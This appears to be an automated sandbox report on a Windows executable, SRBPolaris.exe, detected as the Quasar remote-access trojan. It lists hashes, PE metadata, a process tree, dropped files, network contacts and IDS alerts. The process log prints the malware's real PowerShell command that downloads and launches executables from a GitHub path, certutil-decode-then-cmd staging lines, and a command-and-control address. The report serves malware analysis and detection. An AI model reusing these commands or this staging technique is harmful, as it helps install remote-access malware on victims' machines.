File name: | SRBPolaris.exe |
Full analysis: | https://app.any.run/tasks/8ecac9b9-a002-4d35-aec8-6e52ab14cae0 |
Verdict: | Malicious activity |
Threats: | Quasar is a very popular RAT in the world thanks to its code being available in open-source. This malware can be used to control the victim’s computer remotely. |
Analysis date: | November 29, 2020, 15:49:53 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
MD5: | 3AFFF85A45303658EDA635F50DE07667 |
SHA1: | 705F08FA6901C050125D4919CF2686F465162347 |
SHA256: | 1C5E90E974735C3E903D0923A1CD4133FB45E44A9C99043D8CDE1D7FD8562110 |
SSDEEP: | 49152:KKEgmgN2xFg6gqFV06KCPtZFrmI8e3tjR+uCS+ysZShLz7f/+bMnEPUnFOrTJ:+gN2Tgw0bSZFrmCn+uCSkGzDjVM |
.exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
---|---|---|
.exe | | | Win64 Executable (generic) (37.3) |
.dll | | | Win32 Dynamic Link Library (generic) (8.8) |
.exe | | | Win32 Executable (generic) (6) |
.exe | | | Generic Win/DOS Executable (2.7) |
OriginalFileName: | Put Line.exe |
---|---|
InternalName: | Put Line |
ProductVersion: | 50.61.712 |
FileVersion: | 50.61.712 |
ProductName: | Put Line Software |
LegalTrademarks: | Put Line Software |
LegalCopyright: | Put Line Software |
FileDescription: | Put Line Software |
CompanyName: | Put Line Software |
Comments: | Put Line Software |
CharacterSet: | Unicode |
LanguageCode: | German |
FileSubtype: | - |
ObjectFileType: | Executable application |
FileOS: | Win32 |
FileFlags: | (none) |
FileFlagsMask: | 0x0000 |
ProductVersionNumber: | 50.61.71.2 |
FileVersionNumber: | 50.61.71.2 |
Subsystem: | Windows GUI |
SubsystemVersion: | 5.1 |
ImageVersion: | 6.3 |
OSVersion: | 6.3 |
EntryPoint: | 0x69d0 |
UninitializedDataSize: | - |
InitializedDataSize: | 3173888 |
CodeSize: | 27136 |
LinkerVersion: | 11 |
PEType: | PE32 |
TimeStamp: | 2014:10:31 04:28:47+01:00 |
MachineType: | Intel 386 or later, and compatibles |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
Compilation Date: | 31-Oct-2014 03:28:47 |
Detected languages: |
|
Debug artifacts: |
|
Comments: | Put Line Software |
CompanyName: | Put Line Software |
FileDescription: | Put Line Software |
LegalCopyright: | Put Line Software |
LegalTrademarks: | Put Line Software |
ProductName: | Put Line Software |
FileVersion: | 50.61.712 |
ProductVersion: | 50.61.712 |
InternalName: | Put Line |
OriginalFilename: | Put Line.exe |
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x000000F0 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 5 |
Time date stamp: | 31-Oct-2014 03:28:47 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x00006964 | 0x00006A00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.35038 |
.data | 0x00008000 | 0x00001A8C | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.17593 |
.idata | 0x0000A000 | 0x0000107C | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.04714 |
.rsrc | 0x0000C000 | 0x00304DD7 | 0x00304E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.99235 |
.reloc | 0x00311000 | 0x000008C0 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.37329 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 5.05393 | 1511 | Latin 1 / Western European | English - United States | RT_MANIFEST |
2 | 3.15864 | 744 | Latin 1 / Western European | English - United States | RT_ICON |
3 | 3.07737 | 488 | Latin 1 / Western European | English - United States | RT_ICON |
4 | 3.50949 | 296 | Latin 1 / Western European | English - United States | RT_ICON |
5 | 5.56662 | 3752 | Latin 1 / Western European | English - United States | RT_ICON |
6 | 5.94251 | 2216 | Latin 1 / Western European | English - United States | RT_ICON |
7 | 5.99361 | 1736 | Latin 1 / Western European | English - United States | RT_ICON |
8 | 3.37828 | 1384 | Latin 1 / Western European | English - United States | RT_ICON |
9 | 7.98515 | 55762 | Latin 1 / Western European | English - United States | RT_ICON |
10 | 5.33023 | 9640 | Latin 1 / Western European | English - United States | RT_ICON |
ADVAPI32.dll |
COMCTL32.dll |
Cabinet.dll |
GDI32.dll |
KERNEL32.dll |
USER32.dll |
VERSION.dll |
msvcrt.dll |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2620 | "C:\Users\admin\AppData\Local\Temp\SRBPolaris.exe" | C:\Users\admin\AppData\Local\Temp\SRBPolaris.exe | — | explorer.exe |
User: admin Company: Put Line Software Integrity Level: MEDIUM Description: Put Line Software Exit code: 0 Version: 50.61.712 | ||||
3200 | powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/f926/f/main/bild4.exe,https://raw.githubusercontent.com/f926/f/main/SRBPolaris.exe -Destination QZXm.exe,Qk.exe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | SRBPolaris.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1452 | powershell -command Start-Process QZXm.exe; Start-Process Qk.exe; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | SRBPolaris.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3920 | "C:\Users\admin\AppData\Local\Temp\IXP000.TMP\QZXm.exe" | C:\Users\admin\AppData\Local\Temp\IXP000.TMP\QZXm.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Hma11 Lwyoncd Tuabkmogmj Exit code: 0 Version: 4.7.9326.03483 (krfzbzq_fmc.101045-8338) | ||||
2504 | cmd /c nHqaWbz | C:\Windows\system32\cmd.exe | — | QZXm.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3336 | cmd /c certutil -decode 39-99 6-1 & cmd < 6-1 | C:\Windows\system32\cmd.exe | — | QZXm.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2036 | certutil -decode 39-99 6-1 | C:\Windows\system32\certutil.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2936 | cmd | C:\Windows\system32\cmd.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3220 | ping -n 1 VdCiOMe.VdCiOMe | C:\Windows\system32\PING.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3696 | certutil -decode 8-28 i | C:\Windows\system32\certutil.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3200 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q2VVKDNJQ3X5U7R78L0E.temp | — | |
MD5:— | SHA256:— | |||
1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FUKGDBBZ16O27DLRGUWP.temp | — | |
MD5:— | SHA256:— | |||
2620 | SRBPolaris.exe | C:\Users\admin\AppData\Local\Temp\IXP000.TMP\mSoen.dat | text | |
MD5:D4B94C1EAE4B8A7E379A8C1BBDE895E5 | SHA256:6C7F53B9E765B61AD6725571B7AEA999524371E811C929E192D602427B016EDE | |||
756 | winlogon.com | C:\Users\admin\AppData\Roaming\OzrOnORARl\xsxQUOYDHS.js | text | |
MD5:492F12D91A2CB3911D2BEE451259BA43 | SHA256:29170E62129DBF1B4370F45C1D890909123F4F60D2ACC7FFC6CFCB024200D01E | |||
3696 | certutil.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\i | text | |
MD5:3A42A9377900CDE0A04212DF6E45A37C | SHA256:B71F669CC117DBE100FEC339CF0BCF4B930B672D00D37FCCF43BC934B5E1B10F | |||
3920 | QZXm.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\70-6 | image | |
MD5:6BA8E5615AB5CA00BDBEC5125D88EECC | SHA256:46B8249FFDE2291F97487AC961E3F274AF76505841D2F4B8269E2A3960C7614F | |||
1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF145080.TMP | binary | |
MD5:8A05551124C6BDB2904F636A481BD6DC | SHA256:17F84075E9B6C27B21B0AB5C00A7D8AA84BBF291764A231BFB72DA223035E900 | |||
2036 | certutil.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\6-1 | text | |
MD5:C2169F8ACE5F3E6E72038878BE00B992 | SHA256:1CAA1ABFF6F5CF942C7373C690CECF4F27B5DB2CC7C6E165216BC9BDAE6FBA7E | |||
3920 | QZXm.exe | C:\Users\admin\AppData\Local\Temp\IXP001.TMP\23-0 | binary | |
MD5:AF6DCF0BAA4BE3B4371AB6F8159EB25F | SHA256:6E4E2F0D4F71C73E75C1E918E3C60806B802B7121CFB5959945624FE3B60EE05 | |||
2620 | SRBPolaris.exe | C:\Users\admin\AppData\Local\Temp\IXP000.TMP\DKEp | binary | |
MD5:E47246A50C3A2507D2BFD3ECD2689021 | SHA256:E7F89C050A758BE7B5E0E2D9A24C99A9A30A7D596791C95B3CE4C6C0C12D0CDD |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2464 | RegAsm.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/ | unknown | text | 288 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2464 | RegAsm.exe | 208.95.112.1:80 | ip-api.com | IBURST | — | malicious |
— | — | 151.101.0.133:443 | raw.githubusercontent.com | Fastly | US | malicious |
2464 | RegAsm.exe | 94.242.224.249:222 | — | root SA | LU | malicious |
Domain | IP | Reputation |
---|---|---|
raw.githubusercontent.com |
| shared |
VdCiOMe.VdCiOMe |
| unknown |
yrNmYmLHuXeSriJvzdiRf.yrNmYmLHuXeSriJvzdiRf |
| unknown |
ip-api.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
2464 | RegAsm.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup ip-api.com |
2464 | RegAsm.exe | Potential Corporate Privacy Violation | AV POLICY Internal Host Retrieving External IP Address (ip-api. com) |
2464 | RegAsm.exe | A Network Trojan was detected | REMOTE [PTsecurity] Quasar.RAT IP Lookup |
2464 | RegAsm.exe | A Network Trojan was detected | REMOTE [PTsecurity] Quasar |